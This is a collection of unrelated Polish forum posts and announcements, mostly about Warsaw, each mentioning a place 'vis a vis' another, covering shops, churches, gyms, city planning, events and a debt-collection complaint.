żebrach do krwi, twierdząc, że muszę się przyzwyczaić do takiego stanika, bo
taki jest dobry. Nie mówiąc już o tym, że przy ściągniętych ramionczkach na
maksa mogłam pięść sobie w miseczkę wsadzić.
Polecam za to bardzo panią w Alejach Jerozolimskich vis-a-vis dworca
Centralnego, miła, dobrze dobiera i przerabia na miejscu.

byl na parterze, wejscie prawie vis a vis mango (czyli pod l'occitane bodajze) -
odkad przebudowali gm bylam tam moze raz, wiec nie wiem, czy moj opis ma sens ;).
dzisiaj pierwszy raz nie (zapalenie torebki stawowej), za to przezylam szok - u
mnie w sypialni (a mieszkam naprawde spory kawalek od stadionu) slychac bylo
doping (najlepiej wychodzi polonia warszawa na dwa glosy i oczywiscie darcie sie
"gol" ;))!

U Dominikanów na Freta (Warszawa) jest msza dla dzieci. Bardzo małe mogą
wrzeszczeć i nikt nie każe matkom wychodzić z kościoła, przewijak jest na
zakrystii. Toaleta też jest udostępniona. Przedszkolaki mają swoje osobne
kazanie w innej sali, w bardzo różnych formach - inscenizacja, przyklejanie
listków do drzewa, słuchanie bajki-grajki, ale na resztę mszy wracają do
"dużego" kościoła. Lidce pozwalam - jak już ktoś wspomniał - chodzić, ale nie
biegać, rozmawiać cichutko i "na temat", a nie krzyczeć, nie ma jedzenia, ale
wody może się napić (ma 3 lata).

Jeżeli nie mogę jechać tak daleko, to idę do kościoła, vis a vis którego
mieszkam, a tam... zwykle kończy się tak, że moje dziecko przez całą Mszę gania
wraz z innymi dziećmi na podjeździe dla inwalidów przed wejściem do kościoła, a
rodzice usiłują uczestniczyć we nabożeństwie, również stojąc na zewnątrz. W
innym wypadku musiałabym młodą trzymać cały czas na rękach, stojąc (ławki
zajęte) a na jej głośne pytanie "mamusiu, dlaczego oni zabili Pana Jezusa" -
jedyne zresztą na głos - usłyszeć reakcję "proszę uciszyć to dziecko".

ryszard.maczewski napisał(a):

> Szukam informacji, w którym miejscu dokładnie znajdował się park krajobrazowy
> Czartoryskich na Powązkach. Jaki obszar zajmował i gdzie znajdowały sie
> konkretne obiekty - w odniesieniu do dzisiejszego przebiegu ulic.
>
> Pozdrawiam

Ogród Czartoryskiej dobrze widać na planach miasta zamieszczonych w Atlasie Historycznym Warszawy,
Warszawa 1999. Ogród jest znakomicie czytelny nie tylko na planach sprzed Insurekcji Kosciuszkowskiej ale i tych
póżniejszych z doby Królestwa Kongresowego. Ogród ciągle tam jest zaznaczny.
Sam układ przestrzenny, sirć dróg itd są czytelne też na planie z 1936 r! Nie ma tam już oczywiście parku ale miejsce
nazywa się oficjalnie Izabelinem. (tak jak i dziś zresztą) Jest to trójkątny skrawek terenu między Powązkowską a
Elbląską - nieomal vis a vis cmentarza wojskowego. Dziś w tym miejscu stoją bloki. To m.in ulice Sybilli, Opalińska,
Głogowska, Pionierska. Fragment tego terenu przecina Trasa AK. Nie ma tu już jednak strumieni, cieków wojnych,
stawów, ale przykładając stare plany do dzisiejszego planu miasta można z dość dużą dokładnością określić miejsca
gdzie stały pawilony parkowe, gdzie płynął strumień.
Fragment szczegółowego planu parku jest publikowany w książce Marka Kwiatkowskiego ?Architektura
Mieszkaniowa Warszawy przed 1830 r.? Warszawa 1989.

Warszawa jak Warszawa bo to w Raszynie przy wylocie na Janki. Jadąc od Warszawy
po prawej stronie masz kosciół skręcasz w lewo i obok takiego sklepu
motoryzacyjnego masz malutki punkt naprawy klimatyzacji.Punkt wygląda jak
przedwojenny sklepik, ale pracujący tam faceci to spece. W moim przypadku
darmowa diagnoza uszkodzenia chłodnicy i nie pamiętam ceny, ale chyba 70PLN w
sumie bardzo ich polecam.

Jeżeli nie chcesz doginać do tego Raszyna to jest gość w Mysiadle vis a vis
Auchan nie pamiętam ulicy chyba Kryniczna ale też niezły tylko cenowo to dwa
światy w porównaniu z tym z Raszyna.

Fryzjer - profesjonalista
Mysle ze ceny z Dabrowskiego sa makabryczne . Wszak to nie Warszawa aby sciagac
tyle kasy . Poza tym facet siedzacy na recepcji mówi o cenach usługi jakby byla
to normalnosc . Mysle ze szkoda kasy na tego fryzjera .

sAMA chodze do Silver vis a vis Jagiellonczyków .Naprawde warto .Ania szefowa
swietnie obcina włosy .Pracuje na Goldwellu

Gość portalu: darecky napisał(a):

> oczywiscie park bedzie przy swietokrzyskiej
> przy marszalkowskiej ma byc zabudowa podobna do tego co jest vis a vis czyli 4-
> 5 pieter.
> co do liczby wiezowcow przy e.platter to nie bede sie spieral ale na planie
> ktory widzialem byly wrysowane dwa. ja oczywiscie jestem za tym aby byly 4 ale
> poczekamy, zobaczymy
> rejon moniuszki wcale nie jest zapyzialy i co najwazniejsze wiezowiec TPSA na
> pewno go nie uszlachetnia - wprost przeciwnie, a to ze sie komus podoba to
> kwestia gustu - ale raczej miernego :p

Przeciez ten dlugi budynek przy pl. Powstancow (teraz sa chyba jakies banki,
kiedys byla restauracja) to jest okropna szmira i tandeta. Podobnie budynki przy
Swietokrzkiej, ksiegarnia techniczna i salon Forda to straszna nuda. Hotel
Warszawa w socrealistycznym wydaniu to tez nie jest cudo.

Moze jeszcze zdazycie przeczytac:

1. Turystyczny standard, czyli to czego pominac sie nie powinno:
-Stare i Nowe Miasto, pomnik Powstania Warszawskiego + wnetrze Zamku
-Krakowskim Przedmiesciem i Nowym Swiatem do Lazienek (po drodze wazniejsze
koscioly + Belveder), linia 180 bardzo wam ulatwi zadanie, jak kupicie bilet
trzydniowy mozecie jezdzic do znudzenia wszystkii srodkami komunikacji
miejskiej takze metrem,
-Wilanow (poproscie panie przy kasie o sluchawki+ nagranie, paniow nie chce sie
ich podawac!!!)
-PKiN, choc znienawidzony przez warszawiakow, jest chyba piatym co do
wielkosci budynkiem w Europie, na swiecie jest niewiele budowli tej skali,
pochodzcie troche dookola i pozagladajcie w rozne wejscia

2. Koniecznie:
-muzeum Powstania Warszawskiego (wizyta: 2 godziny szybkim krokiem)
-fotoplastykon w Al. Jerozolimskich w bramie vis-a-vis PKiNu, szczegolnie
zdjecia Warszawy przedwojennej!
-wieczorem teatr lub opera (program teatrow w Gazecie Wyborczej, zadzwoncie
zeby zarezerwowac bilet, na dobrych spektakalch sa komplety);

3. Jak czasu starczy, to warto:
-Stare Powazki (przyda sie plan)
-warszawskie Judaika: Getto (dzis Muranow), pomnik w Gettcie, Umslagplatz,
synagoga, resztki muru otaczajacego getto; bardzo warto cmentarz zydowski to
miejsce magiczne, ale trzeba sie umowic na wejscie i miec nakrycie glowy
-MDM jako przyklad socrealizmu w czystej postaci
-Lwowska: jedyna ulica jaka przetrwala wojne w calosci
-Politechnika (wejdzicie do srodka, by objerzec slynna aule)
-Warszawa handlowa: jedna z galerii handlowych: Zlote Tarasy (nieco
plebejskie), Galeria Mokotow (bardzo ą-ę) lub Arkadie

Powodzenia!

ursynowski ratusz
ratusz gminy warszawa-ursynow miesci sie obecnie w
barakach rozrzuconych w kilkunastu punktach ursynowa.
radni od 7 lat debatuja, czy i jak budowac swoja nowa
siedzibe. ostatnio sprawy ruszaja do przodu. na placu
boju sa dwie firmy: juvenes i drimex. pierwsza
proponuje ratusz za 18 miesiecy w budynku
wolnostojacym, przy ul. plaskowickiej vis a vis petli
autobusowej. drimex oferuje prawie juz skonczony
budynek centrum natolin, przy stacji metra natolin. jak
wy wyobrazacie sobie ursynowski ratusz? ktor4a z ofert
popieracie?

obywatel_3_rp napisał(a):

> Reforma administracyjna kraju spowodowała, że Kalisz przestał byc miastem
> wojewódzkim.

I bardzo dobrze, bo w porownaniu z Poznaniem, Wroclawiem, Lodzia czy Warszawa
miastem wojewodzkim nie ma prawa byc. Jedno takie marne wojewodztwo mamy na
zachodniej granicy Wielkopolski, i oni wogole nie sa i nigdy nie beda
konkurencyjni.

> Faktem jest, że geograficznie położony on jest w Wielkopolsce.

I dlatego jest w woj. Wielkopolskim.

> Położenie geograficzne zadecydopwało najprawdopodobniej o przyłączeniu go do
> województwa wielkopolskiego. Od wielu lat znana jest niechęć władz Poznania do
> mieszkańców tego miasta, a czasami i do samych Kaliszan. Kalisz znajduje się
> mniejwięcej w tej samej odległości od Poznania, Łodzi i Wrocławia, a tym samym
> stolic sąsiadujących z nim województw. Ja i wielu moich znajomych optowałoby za
>
> tym, aby Kalisz znajdował się w województwie dolnośląskim.

Bo macie kompleksy vis a vis Poznania. I zamiast pracowac, potraficie tylko
marudzic.

> Tam są
> sympatyczniejsi ludzie, bardziej życzliwi...

Sylwester jeszcze nie obstukany? Oj trzeba się spieszyć, bo czas goni...
Chociaż imprezy, które wynikają w ostatniej chwili są zwykle najbardziej udane.
Ja spędzam w gronie znajomych, pod Warszawą. O karnawałowy nastrój w pracy
ciężko, bo pracujemy w gronie damskim (ale bardzo sympatycznym, atmosfera
super, codziennie jest dużo śmiechu) - więc tańce w parach raczej niemożliwe.
Ale święta już czuć! Koleżanka własnie przywiozła śliczną choinkę - duży świerk
syberyjski, za chwilę zabieramy się do "ubierania". Ale ślicznie pachnie,
szkoda,że nie czujesz! Akurat stoi vis a vis mojego biurka, więc teraz będzie
mi przypominać, że czekają mnie zkupy (o zgrozo!)i ta całe przedświateczne
zamieszanie. Ale na tym polega urok świąt! Pierwsze ozdoby już wiszą, idę trochę
pomóc... Szkoda,że ta Sucha Beskidzka to tylko marzenie, bo z tamtych okolic
pochodzi chyba "śpiewająca aktorka" Sewioło! To "zaszczyt" odwiedzić tak zacne
miejsce. Napadało w Lesznie w końcu trochę śniegu?

adres
Wyższa Szkoła Społeczno Ekonimiczna
Warszawa ul Kasprzaka 29/31 (budynek VIS)

Atak plam na Krakowskie Przedmieście
Remont Krakowskiego Przedmieścia był szansą na nadanie mu właściwej roli, w tym również estetycznej. Mimo dość ambitnych planów już w pierwszym roku użytkowania fragmentu Krak. Przedmieścia możemy zaobserwować, że z tych ambitnych planów zostało niewiele. Błędy w projekcie, błędy w doborze materiałów i błędy wykonawstwa dają się zauważyć na każdym kroku. Rzecz tkwi w tym, że oprócz innych aspektów trzeba brać pod uwagę względy praktyczne. Jeśli przyjęto koncepcję utrzymania ruchu autobusów i innych pojazdów (uprzywilejowanych?), należało to uwzględnić w odniesieniu do nawierzchni jezdni, by była mniej podatna na zabrudzenia i mniej hałaśliwa (np. z kostki, którą Warszawa miała już w końcu XIX w.). Jednocześnie na całej długości ulicy szerokość jezdni powinna być jednakowa (moim zdaniem ok. 10m, - bryczki , "kolejki", trójkołowce) bez zbędnych wywijasów i zatok przystankowych, których nigdy na K.P. nie było. Wówczas tzw. linia świateł latarni byłaby zachowana, dziś przypomina sen chorego idioty. Ładne, tradycyjne latarnie-pastorały zeszpecono zastosowaniem odmiennych niż na Nowym Świecie opraw świateł o wyglądzie plastikowej tandety.
Chiński granit, nigdzie w Warszawie dotychczas nie stosowany, nie sprawdzony, okazał się tak chłonny, że utrzymanie go w czystości jest problematyczne a prawdopodobnie niemożliwe. Również jego zbyt chropowata (przesadnie antypoślizgowa) powierzchnia przyczynia się do jego wzmożonej chłonności wszelkiego rodzaju zanieczyszczeń. Niestety, plamy na trotuarze zniweczyć mogą dobre wrażenie jakie chcielibyśmy mieć spacerując K.P.
Tzw. mała architektura w postaci pachołków-walców jest całkowitym nieporozumieniem. Urody w tym nie ma żadnej, a ładniejsze zapewne byłyby strażniczki ze straży miejskiej wlepiający mandaty za nieuprawniony wjazd i postój. Szklany sześcian z obrazem Canaletta vis a vis pomnika Kopernika nie może doczekać się wykończenia, stoi pod nim woda, a postrzępione krawędzie tafli szklanych źle świadczą o wykonawcy, a może sam pomysł złożenia go z wielu poprzesuwanych względem siebie tafli szklanych był nie najszczęśliwszy. Nie chcę wyliczać następnych mankamentów, np. że zaznaczenie na jezdni Osi Saskiej rozmija się z prawda, że tzw. małe latarenki w obrębie jednego "zespołu" bywają różnego typu, a chińskie krawężniki tak potężne, że mogłyby z powodzeniem być montowane w twierdzach. Niedbalstwo, brak wyobraźni i brak nadzoru nad wykonawstwem ze strony służb miejskich jest niepojęte.

Khandro Rinpocze w Poznaniu 1-2.06.2005
Program kursu
1.06.2005:
10.00 – nauki o pustce (komentarz do Sutry Serca)
13.00 – obiad
18.00 – wykład otwarty - "Podstawy nauk Dzogczen"
2.06.2005:
10.00 nauki o pustce (komentarz do Sutry Serca)
13.00 obiad
16.00 inicjacja Mandziuśriego
Wszystkie wykłady oraz inicjacja odbywać się będą w Poznańskim Oddziale PAN-u
ul. Henryka Wieniawskiego 17/19. Dojazd do sali tramwajami 5,6,8,10,11,12,14 -
dwa przystanki od przystanku naprzeciwko Targów Poznańskich vis a vis wejścia -
w kierunku Mostu Tetralnego, a następnie Mostem Teatralnym pieszo w dół aż do
pierwszej ulicy w lewo i w dół - równolegle do budynku Teatru Wielkiego (Opery
Poznańskiej).

Termin rezerwacji i przedpłaty do 15.05.2005 włącznie.

Sugerowana darowizna (kurs bez wyżywienia):

jeden dzień kursu (bez wyżyw.) 80 zł
sam wykład – 40 zł
sama inicjacja – 40 zł
cały kurs (2 wykłady + inicjacja) – bez wykładu otwartego (bez wyżyw.) 120 zł
cały kurs (2 wykłady + inicjacja) – bez wykładu otwartego (bez wyżyw. z
przedpłatą) 100 zł
Uwaga: Ze względu na to, iż kurs odbywa się w dużym mieście organizatorzy nie
zapewniają uczestnikom kursu ani wyżywienia, ani miejsca noclegu. Chcąc zdobyć
informacje o możliwości zakwaterowania prosimy o kontakt z Mariuszem Harendą
maru@life.pl.

Rezerwacja
Droga mailową: khandro@wp.pl lub listownie:

Rafał Becker
ul. Górskiego 4/9
00-033 Warszawa
Należy podać: imię, nazwisko, zamówienie na tekst do praktyki (guru jogi Guru
Rinpoczego "Deszcze błogosławieństw").

Uwaga: Ze względów organizacyjnych bardzo prosimy o terminowe zgłaszanie swego
uczestnictwa w kursach!

Konto

Rafał Becker
Os. Oświecenia 5/5
61-205 Poznań
Mbank BRE Bank
33 1140 2004 0000 3302 3501 0058
Koniecznie z dopiskiem: "darowizna na kurs z Khandro Rinpocze".

Prosimy przywieźć ze sobą dowód wpłaty!

Warszawa, Śródmieście ul. Świętokrzyska 20 /vis a vis Poczty Głównej/ jest po
78zł.

Warszawa przebuduje dworce PKP
Kilka dni temu pojawiły się informacje o całkowitej przebudowie WZ i WC, a
dziś o WW.

"Projekt planu zagospodarowania okolic Dworca Wschodniego jest gotowy. Przy
nowej stacji ma powstać supernowoczesny dworzec autobusowy, a zmodernizowany
przystanek PKP Powiśle będzie powiązany z metrem.

Obecny dworzec autobusowy, vis-a-vis Teatru Powszechnego i blisko stacji PKP
Stadion, ma zostać przeniesiony w rejon ul. Lubelskiej pod Dworzec Wschodni.
To ułatwi przesiadki. Nowy obiekt powinien być nowoczesny, pod dachem.

Na budowę dworca autobusowego, z całym zapleczem usługowym i wielopoziomowymi
parkingami, potrzeba ok. 2,5 ha. W okolicy jest jeszcze ok. 10 ha, na których
zmieści się wiele obiektów komercyjnych. Wiedzą o tym doskonale szefowie
kolei, dlatego nie chcą dopuścić, by ratusz przeniósł handlarzy ze Stadionu
pod Dworzec Wschodni.

PKP zapowiadają też rewitalizację stacji Stadion, by zrobić z niej prawdziwy
węzeł komunikacyjny powiązany z przystankiem metra. Przesiadki mają być łatwe,
także na miejskie autobusy czy tramwaje (to też przewiduje nowy plan). Dworzec
Wschodni wymaga totalnej przebudowy. Obok powinien się znaleźć dworzec
autobusów dalekobieżnych.

W Centrum NTK powstaje teraz studium "modernizacji i rozbudowy warszawskiego
węzła kolejowego". Opracowanie będzie gotowe we wrześniu. Trzeba wreszcie
wykorzystać PKP dla potrzeb komunikacji miejskiej. Udrożnić m.in. wewnętrzną
obwodnicę kolejową, tak by dało się jeździć między dworcami Wschodnim,
Gdańskim, Zachodnim i Śródmieście - uważa dr Krzysztof Domaradzki.

W planie jest też nowy pomysł na przedłużenie Trasy Świętokrzyskiej (tzw.
Nowo-Kijowska) do Trasy Tysiąclecia. W poprzednich opracowaniach biegła ona
przez Port Praski, co oznaczałoby konieczność burzenia starych kamienic przy
ul. Targowej. Nowy plan przewiduje budowę trasy tuż przy torach kolejowych."

Gość portalu: John Kowalski napisał(a):
>
> Nie wyobrazajcie sobie chocaz przez mala chwile ze podlaczenie waszych danych
> do systemu SIS (jesli to korkow przedtem nie wywali) bedzie owocowac jakimis
> szykanami granicznymi w stylu tego co sie teraz dzieje w Polsce. Z tym bedzie
> koniec jeszcze przed ewentualnym zaakceptowaniem was do Schengen.

Podpoprucznik Komentator, jak zwykle pijany jak bela tuz po sniadaniu, nie
zauwazyl, co pisalem powyzej ("Ppor.Komentator maszeruje do Schengen"):

Do Schengen Polsce raczej coraz dalej niż coraz bliżej. W odpowiedzi na ciągłe
przypominanie o konieczności uszczelnienia granicy wschodniej, właśnie
obiecaliście Ukrainie bezpłatne i bezproblemowe wizy wielokrotne dla jej
obywateli. Zróbcie to samo jeszcze z Białorusią, a na członkostwo Schengen
poczekacie do 2030 roku. Jak porucznik ciekawy, co jest nie w porządku z
Ukrainą vis a vis Schengen po 11/9, to proszę wpisać w dowolną
wyszukiwarkę "Ukraine, Kuchma, Kolchuga radar system".

Ja podporucznikowi powiem całkiem bezpłatnie, co będziecie musieli zrobić,
zanim w ogóle będzie mogła być mowa o członkostwie Polski w Schengen: będziecie
musieli znieść polskie wizy wjazdowe dla tych państw, których obywatele wiz do
żadnego z obecnych państw Schengen nie potrzebują, w tym m.in. dla Australii i
Kanady; nie będzie tak, że wszyscy inni wprowadzą takie wizy, jakie sobie
Warszawa wyfantazjuje. Potem będziecie musieli wprowadzić dla obywateli
Białorusi, Ukrainy i Federacji Rosyjskiej wizy o takim samym co najmniej
stopniu upierdliwości, jak dzisiejsze wizy amerykańskie dla Polaków. Potem
będziecie musieli wykazywać się dobrą wolą i zero procent korupcji na granicach
RP przez piec lat, a potem moze was dopuszcza do wlasciwych negocjacji.

Podporucznik Komentator toreadorem? Eeee tam....
Zamiataczem areny, byc moze, ze wzgledu na obycie z bullshit w ilosciach
hurtowych.

NP.Krystyna Kacprzak-przyjaciolka mojej mamy, Warszawa, ul.Batorego,bloki vis a
vis Stodoly, ale wez chocby warszawska ksiazke tel. to oniemiejesz, tyle tego
jest! Podaj wiecej info o sobie i przodkach, z jakich terenow Polski pochodza,
to troche zawezisz krąg.Powodzenia

Warszawa, 12 września, Emerald Pub, od 18-stej
Chciałbym poinformować, że w dniu 12 września
będę siedział w Irish Emerald Pub, Al. Jerozoliskie 4,
vis a vis Muzeum Narodowego w Warszawie
(wszelkie skojarzenia dozwolone, hehehehe)

Witam!

Ja byłam z Matem w listopadzie 2002 roku w CZD. Mieliśmy stawić
się we wtorek rano na izbie przyjęć. Troszkę potrwało zanim nas
przyjęto, było sporo dzieci i czekaliśmy lekarza dyżurnego. Na
oddział trafiliśmy około południa. Rozmowa z lekarzem prowadzącym,
dietetyczką i to wszystko. We środę wszelkie badania: morfologia,
i pod kątem naszego zabiegu okulista, EKG, RTG. We czwartek zabieg.
Mogłam być z Matem do momentu, gdy zasnął przy znieczuleniu. Nie
mogłam być z nim, gdy się wybudzał. Denerwowałam się, bo powiedziano
mi, że trafi z powrotem na oddział za 2 godziny, a wrócił po 4,5.
W piątek zostaliśmy wypisani. Standartowe 3 dni spędziliśmy w CZD.
Na oddziale jest pokój, gdzie rano odbywają się lekcję dla starszych
dzieci, po lekcjach moga się bawić młodsze dzieci.

Co do Hotelu, to noclegi kosztowały w pokojach 3-osobowych ok.
20 PLN, w 2-osobowych ok. 30, 1-osobowych ok. 50 PLN. Są też
pokoje dla VIP-ów ;) za 150 PLN. Jak się zgłosiłam w hotelu, były
wolne tylko pokoje 1-osobowe. W pokoju była łazienka, lodówka,
palnik elektryczny i czajnik nieelektryczny. Oraz 2 tapczany i
łozeczko dziecięce z opuszczanym bokiem. Radia nie było. Hotel i
wyposażenie pokoi są już dość wysłużone. Ja mogłam zabierać Mata
o 14.00 z oodziału (Neurologia) i nocować razem z nim w Hotelu.
Zgodę pisemną wyraziła lekarz prowadząca. Do Hotelu jest dość
długa i pokręcona droga z oddziałów, szczególnie, gdy się idzie
pierwszy raz.
Vis a vis głównego wejścia po drugiej stronie ulicy jest mały
sklepik, ale znakomicie zaopatrzony. Bo w Hotelu są spore marże,
co nie jest bez znaczenia dla mam, które spędzają tam dni, czy
tygodnie. Na drugim bodajże piętrze jest stołówka, gdzie można
smacznie zjeść, bo ta przy głównym wejściu smakiem potraw i
cenami nie zachwyca.
To tak w skrócie.

p.s. Też miałam sama jechać PKP i autobusem i powiedziano mi, że
lepiej wysiąć na stacji Warszawa Wschodnia i dojechać autobusem
147, bo łatwiej jest dojść ze stacji na przystanek, szczególnie
samej z dzieckiem. Ale autobus 525 z Dworca Centralnego częściej
kursuje i krócej jedzie. Nas odwiózł tata samochodem, więc nie
korzystałam z ZTM.

Abakus zaprasza na warsztaty
Zapraszamy na warsztaty modern.
Prowadzi - Andrzej Morawiec.
Miejsce zajęć: Sala taneczna w budynku przy
ul. Królewskiej 27 wejście B, vis a' vis Parku Saskiego w Warszawie.
Termin: 25 - 26 października 2003 r.
22 - 23 listopada 2003 r.
13 - 14 grudnia 2003 r.
Zajęcia będą się odbywały
w soboty:
grupa początkująca w godz. od 15.3o do 17.oo.
grupa zaawansowana w godz. od 17.15 do 18.3o
w niedziele:
grupa początkująca w godz. od 10.oo do 11.3o
grupa zaawansowana w godz. od 11.45 do 13.15
Ilość miejsc ograniczona.
Andrzej Morawiec
wykładowca tańca współczesnego na Akademii Muzycznej im. F. Chopina na
wydziale Pedagogiki Baletu w Warszawie (od lutego 2002 r.), nauczyciel tańca
w Ogólnokształcącej Szkole Baletowej w Gdańsku (od września 2001 r.),
absolwent bytomskiej Szkoły Baletowej i Instytutu Kultury w Leningradzie na
wydziale pedagogiki baletu i choreografii. Tańczył w zespole baletu
Państwowej Opery Śląskiej i Śląskim Teatrze Tańca w Bytomiu, gdzie
jednocześnie zajmował się asystenturą i repetycją prac choreografów
zagranicznych. Występował gościnnie w Gdańskim Teatrze Tańca i Kieleckim
Teatrze Tańca. Współpracował z wydziałem akrobatyki sportowej AZS AWF w
Katowicach, jako choreograf i instruktor tańca. Pedagog tańca klasycznego i
współczesnego, twórca licznych prac choreograficznych w bytomskiej Państwowej
Ogólnokształcącej Szkole Baletowej, prezentowanych zarówno w kraju jak i za
granicą. Tam też założył "Tom Bombadil Dance Company", a choreografia "Loa" w
wykonaniu tego zespołu zdobyła wyróżnienie II Gdańskich Debiutów Młodych
Choreografów 1997 roku.

Zapraszamy na zajęcia z break - dance.
Prowadzi: Robert Nieznański z grupy Scrap Beat.
Miejsce zajęć: Szkoła Podstawowa Nr 26, ul. Miedziana 8
(wejście od ul. Twardej).
Termin: poniedziałki i środy w godzinach od 17.oo do 19.oo.
Pierwsze spotkanie 15 października przy sekretariacie szkoły.

Zainteresowanych warsztatami i zajęciami prosimy o kontakt:
Studio Sztuki Tańca "Abakurs"
ul. Pańska 73 p. IX, 00-834 Warszawa
tel. (22) 652-35-16 fax 652-03-31
www.balet.com.pl
e-mail: abakurs@abakurs.com.pl

Sklepy Calzedonia w Warszawie można znaleźć w:

1. Geant Jubilerska
2. Warszawa Wileńska
3. Senatorska vis a vis ZTM
4. Chmielna

Więcej grzechów nie pamiętam ;)

skate shop
jeden, w ktorym na pewno jest cos dla dziewczyn:
chmielna, vis a vis atlanticu, w podworzu. o ile jeszcze
jest, chwile mnie tam nie bylo...

oczywiscie warszawa:)

xx.

siłownie, które polecam i które nie polecam
Ktos kto poniżej polecił siłownie Magnum zapomniał dodać, że siłownia ta mieści
się na Marymoncie, gdzie do Śródmieścia jest spory kawał. A obok na terenie
tego samego AWFu jest swietna silownia Olimpus. Polecam.

Polecam z czystym sumieniem, bo byłem tam i chodziłem:
- Studio Sport, Koński Jar 6 koło stacji metra "Ursynów"; cena 140 zł
- Studio "Filon" przy Szolc-Rogozińskiego 11 koło stacji metra "Imielin"; za
Multikinem; cena: 80, 100 lub 120 zł
- S4 przy Nowowiejskiej 37; ceny 120 zł
- Aplauz przy Radiowej 1a na Bemowie

Nie chodziłem ale polecam
- Olympus przy skrzyżowaniu Ciszewskiego/Pileckiego; blisko Centrum Onkologii;
cena 60, 80, 90, 120 zł
- siłownie w Ursynowskim Centrum Sportu i Rekreacji
- siłownia przy Metrze Racławicka; cena - 70 i 120 zł
- siłownia przy metrze Kabaty jakaś prywatna - jest spoko, ale nie znam cen
- Fitness Sport Aleje Jerozolimskie 95 vis a vis dworca WKD Warszawa
Sródmieście, tyle ze tam nie jest najtaniej
- ProActiv na Miedzianej 11 - cen nie znam
- siłownia na Torwarze ale cen też nie znam
- po drugiej stronie Wisły przy Al. Stanów Zjednoczonych jest siłownia Olimpia -
również polecam

Mam negatywne odczucia co do BodyLine przy Nałęczowskiej 60 gdzie byłem miesiąc
z uwagi na ciasnote - siłownia jest w piwnicy, gdzie jak jest 5 chłopaków to
wpadają na siebie. No i duszno.

Z uwagi na cenę, towarzystwo [kobiety], kto prowadzi [kulturysci czy
niekulturyści] i tego ze to typowe kluby fitness a nie siłownie czyli - zero
wolnych ciężarów albo sa jakieś beznadziejnie małe; jakbyś chciał wycisnąc 160
kg to okazuje się ze nie ma takiej mozliwosci bo nie ma takich ciezarów; jak
się spocisz to patrzą na ciebie jak na debila albo dresa albo kibola; gdzie nie
uswiadczysz 2-3 sztang ale za to 50 róznego rodzaje steperów ale za to z
maksymalnym udzwigiem 90kg; itp. nie zachęcam do chodzenia na:
- Calypso Reebok w SilverScreen na Pulawskiej 15
- Gymnasion za całokształt
- World Fitness Centers [sa w Mariocie, w GTC na Domaniewskiej]

W zamierzeniu kluby te mają byc "elytarne", snobistyczne w ktorych "wypada" sie
pokazac więc maja nie przychodzic "panowie bez karków" i ma pachniec [jakims
chemicznym gufnem, niewazne byle by to nie był męski pot] i ma byc "trendy"
Poza tym kluby te zyja glownie z funduszy socjalnych z zakladów pracy :) stad
wyzsza, "zaporowa" cena.

Wiec musisz sobie odpowiedziec na pytanie - co preferujesz? Bo "elytarnie" nie
znaczy ze dobrze. A jesli nie widac różnicy to po co przepłacac?

Jest też sporo małych osiedlowych które mogą być równie przyjemne i z
niekłopotliwym dojazdem.

czyzby Adi Cafe'?

jesli Warszawa to raczej Chmielna (w bramie) prawie vis a vis kina Atlantic

Jak z tego wynika celują w takich ludzi gdyż najłatwiej jest w nich uderzyć, a i
z odwołaniem jest problem bo jak z renty nająć adwokata który by poprowadził
sprawę. Ja tez mam podobną sytuację.
Jestem na rencie po dwóch zawałach z pogłębiającą się z wiekiem cukrzyca. Jestem
nękany listami wręcz zasypywany (potrafi w miesiącu przyjść do 4 listów pięknie
ozdobionych czerwona strzałka z napisem w kontrastowym kolorze "Długi się
spłaca" lub podobne lub na całą nieomalże kopertę wielki napis "Prokura NS FIS"
I za to liczą sobie słono (nie wiem skąd biorą takie stawki- Myślę że księżyc
maczał w tym palce). Chciałbym zadać pytanie czy to jest karalne ?jeśli
tak to jak to zrobić? Jestem w posiadaniu takich kopert !!!
I wszystkie mają taką samą prawie treść.
A płacę(obecnie przyszedł pozew na sumę prawie 700zł- czysty zysk po latach i
na takich powiem śmiało machlojkach tworzenie matek, córek dzieleniu firm,
sprzedawaniu między sobą długów się Spekuluje)za to, że zapewne panom z
KRUKA S.A. nie odpowiadała suma wpłacona na konto które mi wskazała Pani
która opiekowała się mną w oddziale Lulas bank w Warszawie ( bo konto na które
wpłacałem stało się nieaktualne za sprawą sprzedaży wszystkich "dłużników" jak
leci- teraz to sobie dopiero zacząłem kojarzyć- a ja wpłaciłem sumę jaką
otrzymałem w liście ponaglającym z banku, a była to kwota 80 parę złotych
wysłałem 100parę zł) I ta moja wpłata wylądowała z powrotem bez żadnych
adnotacji- takie konto nie istnieje. I żona moja była wyjaśniać to na Poczcie
vis a vis kiedyś Dworca Warszawa Wileńska a obecnie domu handlowego Carrefour
Wileńska.
Na prośbę o przesłanie kopii dokumentacji kredytowej otrzymałem jakieś tam
tabelki z cyferkami i stwierdzenie specjalisty ds reklamacji cytuję dosłownie
"Pańska prośba o przesłanie dokumentacji kredytowej nie zostanie
zrealizowana.Jako strona umowy otrzymał Pan jeden egzemplarz w chwili jej
zawarcia.
(strzeżcie się więc przed pożarami i innymi klęskami żywiołowymi-
mój komentarz)Odpowiedzialność za utratę otrzymanego egzemplarza umowy
kredytowej, jak również innych dokumentów dotyczących sprawy (tytuł wykonawczy
itp.) spoczywa wyłącznie na Kredytobiorcy". Czy tak stanowi prawo.
Czekam na opinie i pomoc Keraj65

Warszawa - Chmielna
Widziałam na Chmielnej w Warszawie (vis a vis kina Atlantic) szyld "rozmiary od A do G" na sklepie firmy Shame. Nie zachodziłam, bo ostatnio obkupiłam się trochę, ale ciekawa jestem czy któraś z Was tam była i mierzyła ich staniki.

uciekacie z Warszawy??? No co wy??? to takiee fajne miasto, mozna tam np:
cytat: jesli chodzi o knajpki, to polecam Cave na nowym (rog foksal i nowego
swiatu -
> przepyszan kawka, jesli ktos jest fanem, mila atmosfera, fajna muzyka w tle)
> Moim zdecydowanie ulubionym lokalem jest bordo na chmielnej (vis a vis
> Atlanticu) - podaja przepyszna bruschette. ale radze zadzwonic i zarezerwowac
> stolik, bo przewaznie jest tam tloczno. mozna tez chwile poczekac i zawsze
sie
> cos znajdzie!

a wiesz co??? słyszales kiedys o kanapkach robionych w domku, z tego co masz
akurat w lodówce, albo spacerek na morzem???I powiem szczerze nie wiem co to
jest bruschette(?), i moze masz mnie za straszna ignorantke, ale nie chcę
wiedzieć. Trójmiasto i inne miasta tego typu to gwarancja normalności...
Trójmiasto jest super...Warszawa kojarzy mi sie tylko z głupim lansem, praca w
PR, i zakupami ( koniecznie , ach koniecznie!!) w Zarze, albo w River
Island...Boże wogóle Wam sie nie dziwie...
